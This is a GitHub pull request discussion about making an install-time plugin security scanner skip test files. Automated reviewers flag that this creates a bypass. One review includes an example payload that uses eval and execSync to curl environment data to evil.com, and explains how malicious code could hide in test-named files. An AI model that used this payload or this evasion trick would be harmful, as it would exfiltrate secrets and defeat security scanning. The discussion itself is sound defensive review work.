Skip to content

fix: skip test files and directories in install security scanner#67050

Closed
Magicray1217 wants to merge 2 commits intoopenclaw:mainfrom
Magicray1217:fix/scanner-skip-test-files
Closed

fix: skip test files and directories in install security scanner#67050
Magicray1217 wants to merge 2 commits intoopenclaw:mainfrom
Magicray1217:fix/scanner-skip-test-files

Conversation

@Magicray1217
Copy link
Copy Markdown
Contributor

Summary

The install-time security scanner blocks plugins that ship unit tests containing process.env access + fetch() calls in the same file. This is a standard unit-testing pattern (mocking env vars and network for telemetry opt-out tests, feature flag tests, etc.) and triggers false-positive "credential harvesting" findings.

Changes

In walkDirWithLimit (src/security/skill-scanner.ts):

  • Skip common test directories: tests/, __tests__/, test/, __mocks__/, __fixtures__/
  • Skip test file patterns: *.test.*, *.spec.*, *.mock.*

These files are never loaded at plugin runtime and should not be scanned for security threats.

Impact

Plugins like @axonflow/openclaw that include test files in their ClawHub archive will no longer be blocked during installation due to false-positive security findings from test mocks.

Fixes #66840

Mil Wang (from Dev Box) added 2 commits April 15, 2026 15:28
When a session is reset via /new, clearSessionQueues purges
followup/command lane queues but does not drain the process-global
system events map. Because sessionKey is preserved across /new,
stale system events (e.g. exec failure notifications) survive and
get injected into the first message of the fresh session.

Add drainSystemEventEntries() for each queue key immediately after
clearSessionQueues() to prevent stale events from leaking across
session boundaries.

Fixes openclaw#66864
The install-time security scanner flags env var access + fetch() in the
same file as potential credential harvesting. This causes false positives
for plugins that ship unit tests which mock process.env and global.fetch
— a standard testing pattern.

Skip common test directories (tests/, __tests__, test/, __mocks__,
__fixtures__) and test file patterns (*.test.*, *.spec.*, *.mock.*)
during the install scan walk. These files are never loaded at plugin
runtime and should not trigger security blocks.

Fixes openclaw#66840
@Magicray1217 Magicray1217 requested a review from a team as a code owner April 15, 2026 07:32
@greptile-apps
Copy link
Copy Markdown
Contributor

greptile-apps Bot commented Apr 15, 2026

Greptile Summary

This PR skips test directories (tests/, __tests__, test/, __mocks__, __fixtures__) and test-named files (*.test.*, *.spec.*, *.mock.*) in walkDirWithLimit to reduce false-positive env-harvesting findings from plugin test mocks during install-time scanning.

  • The name-only exclusion creates a documented bypass: a malicious plugin can place eval(...), child_process calls, or credential-harvesting code in a file named anything.test.js or under a tests/ directory and all scanner rules are silently skipped. A better approach is to downgrade severity for test-path findings rather than exclude them from the scan, or gate the relaxed treatment on the file containing actual test-framework imports (vitest/jest/describe).
  • No tests are added to cover the new skip behavior; the existing scanDirectory table should be extended with cases that assert these paths are excluded.

Confidence Score: 3/5

Not safe to merge as-is — the name-based skip creates an exploitable bypass for all install-time security scanner rules.

A P1 security finding: blanket exclusion by filename lets any malicious plugin evade every scanner rule (eval, child_process, env harvesting) simply by naming a file *.test.js or placing it in a tests/ directory. This directly weakens the security control this PR is modifying, and the bypass is trivially discoverable from the public diff.

src/security/skill-scanner.ts — both the skip logic itself and the missing test coverage for the new behavior.

Security Review

  • Scanner bypass via naming convention (src/security/skill-scanner.ts): Blanket exclusion of *.test.*, *.spec.*, *.mock.* files and tests//test//__tests__/__mocks__/__fixtures__ directories from the walk means all scanner rules — including dangerous-exec, dynamic-code-execution, and env-harvesting — are silently skipped for any file or directory matching these patterns. A malicious plugin can place attack code in a file named anything.test.js and bypass install-time scanning entirely.
Prompt To Fix All With AI
This is a comment left during a code review.
Path: src/security/skill-scanner.ts
Line: 344-366

Comment:
**Name-based skip creates a scanner bypass**

Any malicious plugin author can evade *all* scanner rules — including `dangerous-exec`, `dynamic-code-execution`, `crypto-mining`, and `env-harvesting` — simply by placing attack code in a file like `evil.test.js`, `harvest.mock.js`, or a `tests/` directory. The exclusion is based purely on filename convention, not on whether the code is actually a test.

A payload such as:
```js
// attack.test.js  — skipped entirely by this change
eval("require('child_process').execSync('curl https://evil.com?k='+process.env.HOME).toString()");
```
would install silently.

The original fix for `env-harvesting` false-positives in test mocks is reasonable, but blanket skipping by name gives attackers a documented bypass for every rule in the scanner. Consider instead one of:
- Reduce severity (e.g. downgrade `critical``warn`) for findings in test-named paths rather than omitting them from the scan
- Require test-framework imports (`vitest`, `jest`, `describe`, `it(`) in the file before applying any relaxed treatment
- Exclude test-path findings only from the blocking gate, not from the scan output itself

How can I resolve this? If you propose a fix, please make it concise.

---

This is a comment left during a code review.
Path: src/security/skill-scanner.ts
Line: 344-366

Comment:
**No regression tests for the new skip behavior**

The existing test suite in `src/security/skill-scanner.test.ts` covers `node_modules` and hidden-directory skipping but has no cases that assert:
- files in `tests/`, `__tests__`, `__mocks__`, or `__fixtures__` are excluded from the walk
- files matching `*.test.*`, `*.spec.*`, `*.mock.*` are not scanned

Without these, a future refactor silently re-enabling the scan would go undetected. Adding a few cases to the `scanDirectory` table-driven test (similar to the existing `"skips node_modules directories"` case) would lock in this behavior.

How can I resolve this? If you propose a fix, please make it concise.

Reviews (1): Last reviewed commit: "fix: skip test files and directories in ..." | Re-trigger Greptile

Comment on lines +344 to +366
if (
entry.kind === "dir" &&
(entry.name === "tests" ||
entry.name === "__tests__" ||
entry.name === "__mocks__" ||
entry.name === "test" ||
entry.name === "__fixtures__")
) {
continue;
}

const fullPath = path.join(currentDir, entry.name);
if (entry.kind === "dir") {
stack.push(fullPath);
} else if (entry.kind === "file" && isScannable(entry.name)) {
// Skip test files by name pattern
if (
entry.name.includes(".test.") ||
entry.name.includes(".spec.") ||
entry.name.includes(".mock.")
) {
continue;
}
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Name-based skip creates a scanner bypass

Any malicious plugin author can evade all scanner rules — including dangerous-exec, dynamic-code-execution, crypto-mining, and env-harvesting — simply by placing attack code in a file like evil.test.js, harvest.mock.js, or a tests/ directory. The exclusion is based purely on filename convention, not on whether the code is actually a test.

A payload such as:

// attack.test.js  — skipped entirely by this change
eval("require('child_process').execSync('curl https://evil.com?k='+process.env.HOME).toString()");

would install silently.

The original fix for env-harvesting false-positives in test mocks is reasonable, but blanket skipping by name gives attackers a documented bypass for every rule in the scanner. Consider instead one of:

  • Reduce severity (e.g. downgrade criticalwarn) for findings in test-named paths rather than omitting them from the scan
  • Require test-framework imports (vitest, jest, describe, it() in the file before applying any relaxed treatment
  • Exclude test-path findings only from the blocking gate, not from the scan output itself
Prompt To Fix With AI
This is a comment left during a code review.
Path: src/security/skill-scanner.ts
Line: 344-366

Comment:
**Name-based skip creates a scanner bypass**

Any malicious plugin author can evade *all* scanner rules — including `dangerous-exec`, `dynamic-code-execution`, `crypto-mining`, and `env-harvesting` — simply by placing attack code in a file like `evil.test.js`, `harvest.mock.js`, or a `tests/` directory. The exclusion is based purely on filename convention, not on whether the code is actually a test.

A payload such as:
```js
// attack.test.js  — skipped entirely by this change
eval("require('child_process').execSync('curl https://evil.com?k='+process.env.HOME).toString()");
```
would install silently.

The original fix for `env-harvesting` false-positives in test mocks is reasonable, but blanket skipping by name gives attackers a documented bypass for every rule in the scanner. Consider instead one of:
- Reduce severity (e.g. downgrade `critical``warn`) for findings in test-named paths rather than omitting them from the scan
- Require test-framework imports (`vitest`, `jest`, `describe`, `it(`) in the file before applying any relaxed treatment
- Exclude test-path findings only from the blocking gate, not from the scan output itself

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines +344 to +366
if (
entry.kind === "dir" &&
(entry.name === "tests" ||
entry.name === "__tests__" ||
entry.name === "__mocks__" ||
entry.name === "test" ||
entry.name === "__fixtures__")
) {
continue;
}

const fullPath = path.join(currentDir, entry.name);
if (entry.kind === "dir") {
stack.push(fullPath);
} else if (entry.kind === "file" && isScannable(entry.name)) {
// Skip test files by name pattern
if (
entry.name.includes(".test.") ||
entry.name.includes(".spec.") ||
entry.name.includes(".mock.")
) {
continue;
}
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 No regression tests for the new skip behavior

The existing test suite in src/security/skill-scanner.test.ts covers node_modules and hidden-directory skipping but has no cases that assert:

  • files in tests/, __tests__, __mocks__, or __fixtures__ are excluded from the walk
  • files matching *.test.*, *.spec.*, *.mock.* are not scanned

Without these, a future refactor silently re-enabling the scan would go undetected. Adding a few cases to the scanDirectory table-driven test (similar to the existing "skips node_modules directories" case) would lock in this behavior.

Prompt To Fix With AI
This is a comment left during a code review.
Path: src/security/skill-scanner.ts
Line: 344-366

Comment:
**No regression tests for the new skip behavior**

The existing test suite in `src/security/skill-scanner.test.ts` covers `node_modules` and hidden-directory skipping but has no cases that assert:
- files in `tests/`, `__tests__`, `__mocks__`, or `__fixtures__` are excluded from the walk
- files matching `*.test.*`, `*.spec.*`, `*.mock.*` are not scanned

Without these, a future refactor silently re-enabling the scan would go undetected. Adding a few cases to the `scanDirectory` table-driven test (similar to the existing `"skips node_modules directories"` case) would lock in this behavior.

How can I resolve this? If you propose a fix, please make it concise.

Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 9cf50f2afb

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment on lines +361 to +364
entry.name.includes(".test.") ||
entry.name.includes(".spec.") ||
entry.name.includes(".mock.")
) {
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Keep scanning runtime-capable files with test-style names

This filter skips any scannable file whose name contains .test., .spec., or .mock., but those files can still be imported and executed at runtime (for example from an entry module that remains scanned). In install-time security scanning, that creates a concrete evasion path: malicious code can be moved into *.test.js/*.spec.ts/*.mock.js files and bypass detection and blocking even though it is still reachable in production.

Useful? React with 👍 / 👎.

@clawsweeper
Copy link
Copy Markdown
Contributor

clawsweeper Bot commented Apr 27, 2026

Codex automated review: keeping this open.

Keep open. Current main still has the env-plus-network critical scanner behavior and no test-path relaxation, so the linked false positive remains unsolved. This PR remains the active fix path for #66840, but its current name/path-based skip would weaken the install-time scanner by letting dangerous runtime-capable code evade all scanner rules.

Best possible solution:

Keep this PR open as the active implementation path, but require a safer design before merge: continue scanning runtime-capable files, relax only credible test-file false positives or only the blocking decision for those findings, and add regression tests in src/security/skill-scanner.test.ts and/or plugin install tests for both the reported ClawHub archive false positive and a malicious test-named file that must not bypass the scanner.

What I checked:

  • Current env-harvesting rule still blocks env plus network context: env-harvesting is still a critical source rule when process.env appears in a file that also matches network-send context such as fetch(. (src/security/skill-scanner.ts:199, 646a268d2710)
  • Current directory walk has no test-path exemption: walkDirWithLimit skips hidden entries and node_modules, then queues every scannable file. There is no current-main skip for tests, __tests__, *.test.*, *.spec.*, or *.mock.*. (src/security/skill-scanner.ts:339, 646a268d2710)
  • Install scan still blocks critical findings: buildBlockedScanResult returns security_scan_blocked for built-in critical findings unless dangerouslyForceUnsafeInstall is explicitly set. (src/plugins/install-security-scan.runtime.ts:503, 646a268d2710)
  • Package install path scans the package directory, not only entry files: scanPackageInstallSourceRuntime forces declared extension entries into the scan but still calls scanDirectoryTarget on the whole package directory, so test files included in a ClawHub/package archive can still be scanned on main. (src/plugins/install-security-scan.runtime.ts:733, 646a268d2710)
  • Current tests cover scanner basics but not the desired test-file relaxation: The scanDirectory table covers normal tree scanning plus hidden and node_modules skips; targeted search found no regression test for test directories, test-named files, or the reported tests/telemetry.test.ts false positive. (src/security/skill-scanner.test.ts:313, 646a268d2710)
  • PR diff introduces a scanner bypass in a security-sensitive path: The provided PR diff adds blanket skips for test directories and .test., .spec., .mock. filenames inside walkDirWithLimit. Existing review comments correctly flag that malicious runtime-reachable code could be moved into those names to bypass dangerous-exec, dynamic-code-execution, crypto-mining, and env-harvesting. The PR file list is limited to src/security/skill-scanner.ts, so there is no separate workflow/dependency supply-chain change, but the touched path is itself the install security gate. (src/security/skill-scanner.ts:344, 9cf50f2afbf7)

Remaining risk / open question:

  • Merging this PR as written would weaken the install-time security scanner: dangerous runtime-capable code in *.test.*, *.spec.*, *.mock.*, or a test directory would evade all built-in scanner rules.
  • The current bug remains on main: plugin archives that include legitimate env-plus-fetch test mocks can still be blocked, with only the documented break-glass unsafe install override available.
  • The PR currently lacks regression coverage for both sides of the behavior: the legitimate test mock false positive and scanner coverage for malicious/runtime-reachable test-named files.

Codex Review notes: model gpt-5.5, reasoning high; reviewed against 646a268d2710.

@steipete
Copy link
Copy Markdown
Contributor

Thanks for the focused fix. I carried this forward on main with a slightly narrower shape in d69eeeb: install-time plugin scans now skip common test files/directories, but declared plugin runtime entrypoints remain force-scanned even when they live under a test-looking path.

Extra coverage landed with it:

  • package install allows dangerous-looking code when it appears only under tests/
  • bundle install allows the same test-only false positive case
  • declared package entrypoints under tests/*.test.js are still scanned and blocked when dangerous
  • scanner option coverage proves explicit includes override test-path exclusion

Validation:

  • local pnpm test src/security/skill-scanner.test.ts
  • local pnpm test src/plugins/install.test.ts
  • local pnpm check:changed
  • Blacksmith tbx_01kq7knrw1zhdw3mgmwr5y395v: pnpm test src/security/skill-scanner.test.ts src/plugins/install.test.ts && pnpm check:changed

Closing this PR as superseded by the landed fix. The changelog credits both #66840 and this PR.

@steipete steipete closed this Apr 27, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Install scanner blocks plugins that ship unit tests containing env-var + fetch mocks

2 participants